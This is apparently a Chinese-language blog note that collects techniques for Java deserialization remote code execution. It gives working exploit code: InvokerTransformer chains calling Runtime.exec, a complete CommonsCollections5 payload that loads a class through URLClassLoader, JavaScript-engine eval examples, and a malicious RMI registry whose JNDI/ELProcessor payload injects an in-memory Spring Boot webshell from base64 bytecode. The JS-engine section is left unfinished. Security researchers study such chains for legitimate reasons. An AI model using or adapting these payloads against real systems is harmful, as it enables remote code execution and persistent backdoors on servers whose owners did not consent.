前言:反序列化執行任意代碼的幾種方式總結筆記
InvokeTransform類
執行命令的反序列化代碼如下:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);
但是這種存在局限性:
1、雖然可以執行系統命令,但是不方便完成多條命令的操作
2、無法執行更多的Java的代碼,就比如想要實現多條Java代碼的話,那么這里的話就沒有辦法進行執行,我這里指的是比如變量聲明這種東西(如果你想要執行任意類的方法的話,通過InvokeTransform來進行調用,這樣是可以的)
可能會有人說exec不是支持數組傳參嗎?是的,但是我自己嘗試的時候發現無法進行多命令執行,如下圖所示,但是只彈出了一個計算器
new InvokerTransformer("exec", new Class[]{String[].class}, new String[][]{{"calc","notepad"}})
所以總的來說反序列化InvokeTransform去執行命令還是有很多局限性的。
URLClassloader
URLClassLoader繼承了ClassLoader,URLClassLoader提供了加載遠程資源的能力,在寫漏洞利用的payload或者webshell的時候我們可以使用這個特性來加載遠程的jar來實現遠程的類方法調用。
如果需要利用,那么前提肯定是需要出網,其實也不一定,unicodesec有篇文章看到的就是通過先寫入文件,又因為URLClassloader支持file協議,加載本地jar包同樣可以實現命令執行。
URLClassloader 實現了通過指定類名,去遠程/本地服務器上查找 class 類文件並且進行本地執行。
這個利用的還是InvokeTransform,但是反序列化的是URLClassloader對象,上面的是通過Runtime對象
這里反序列化URLClassloader同樣也可以實現命令執行,比起Runtime,它的優點在於可以可以運行Java代碼,缺點利用步驟比較麻煩,需要搭建服務器等等。
URLClassLoader.class.getConstructor(java.net.URL[].class).newInstance(new java.net.URL("url")).loadClass("remote_class").getMethod("do_exec").invoke(null);
我這里就拿本地來進行測試了,用的是file協議來進行測試,先打包好jar包,如下圖所示
路徑為:D:\ALL\javaidea\MyFirstTestMaven\CollectionsSerializable\out\artifacts\CollectionsSerializable_jar\CollectionsSerializable.jar
本地測試,可以看到成功執行了
public class TestCode {
public static void main(String[] args) throws Exception{
URL url = new URL("file://D:\\ALL\\javaidea\\MyFirstTestMaven\\CollectionsSerializable\\out\\artifacts\\CollectionsSerializable_jar");
URLClassLoader.class.getConstructor(URL[].class).newInstance((Object) new URL[]{url})
.loadClass("com.zpchcbd.unicodesec.urlclassloader.RemoteObject")
.getMethod("commandExec")
.invoke(null);
}
}
接着就是來反序列化進行執行,代碼如下,我這里測試的是CC5
package com.zpchcbd.unicodesec.urlclassloader;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.util.HashMap;
public class UrlLoader {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer(
"getConstructor",
new Class[] {Class[].class},
new Object[] {new Class[]{java.net.URL[].class}}
),
new InvokerTransformer(
"newInstance",
new Class[] {Object[].class},
new Object[] { new Object[] { new java.net.URL[] { new java.net.URL("file://D:\\ALL\\javaidea\\MyFirstTestMaven\\CollectionsSerializable\\out\\artifacts\\CollectionsSerializable_jar") }}}
),
new InvokerTransformer(
"loadClass",
new Class[] {String.class},
new Object[] {"com.zpchcbd.unicodesec.urlclassloader.RemoteObject"}
),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"commandExec", new Class[]{}}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new String[]{}}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// LazyMap封裝
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap, chainedTransformer);
// TiedMapEntry封裝
TiedMapEntry tiedMapEntry = new TiedMapEntry(map,121212121);
// BadAttributeValueExpException的val字段獲取
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedMapEntry);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("urlloader.txt"));
outputStream.writeObject(poc);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("urlloader.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
JS引擎
unicodesec推薦的使用的一種方法,既不需要出網,也支持多java代碼執行,並且操作簡單。
關於Javassist用法的文章參考:https://www.cnblogs.com/zpchcbd/p/14835338.html
先了解下如何使用JS引擎來執行代碼
Nashorn(jdk8),Rhino(JDK 6/7),javascript等,如下圖是java8中所支持的js引擎
public class JsCode {
public static void main(String[] args) throws Exception {
new ScriptEngineManager().getEngineByName("javascript").eval("print('Hello World!');");
}
}
同樣的通過js代碼也可以執行java代碼,如下圖所示
public class JsCode {
public static void main(String[] args) throws Exception {
new ScriptEngineManager().getEngineByName("Nashorn").eval(
"var a=Java.type('java.util.HashMap');" +
"print(a)");
}
}
那么想要調用Runtime的exec需要如何進行操作?這個先放着,我之后來補充...
TemplatesImpl
apache Xalan 是一個 java 操作 xml 的庫。該庫內置 Java 的官方庫中。在 apache Xalan 的某個方法中,存在將字節碼通過 defineClass 加載為類的代碼。
在JNDI注入的時候會比較好用,通過配合EL表達式來實現任意代碼執行。
public class RMIReferenceServerTest {
public static void main(String[] args) throws Exception{
System.out.println("Creating evil RMI registry on port 9527");
LocateRegistry.createRegistry(9527);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
String payload = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"replacement\")";
String replacement = payload.replace("replacement", injectMemshell(SpringBootMemoryShellOfInterceptor.class));
System.out.println(replacement);
ref.add(new StringRefAddr("x", replacement));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
Naming.bind("rmi://192.168.0.108:9527/AAAAAA", referenceWrapper);
System.out.println("RMI服務啟動成功,服務地址:" + "rmi://192.168.0.108/AAAAAA");
}
public static String injectMemshell(Class clazz){
String classCode = null;
try{
classCode = Utils.getClassCode(clazz);
}catch(Exception e){
e.printStackTrace();
}
String code = "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + classCode + "');\n" +
"var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
"try{\n" +
" var clazz = classLoader.loadClass('" + clazz.getName() + "');\n" +
" clazz.newInstance();\n" +
"}catch(err){\n" +
" var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
" method.setAccessible(true);\n" +
" var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" +
" clazz.newInstance();\n" +
"};";
return code;
}
}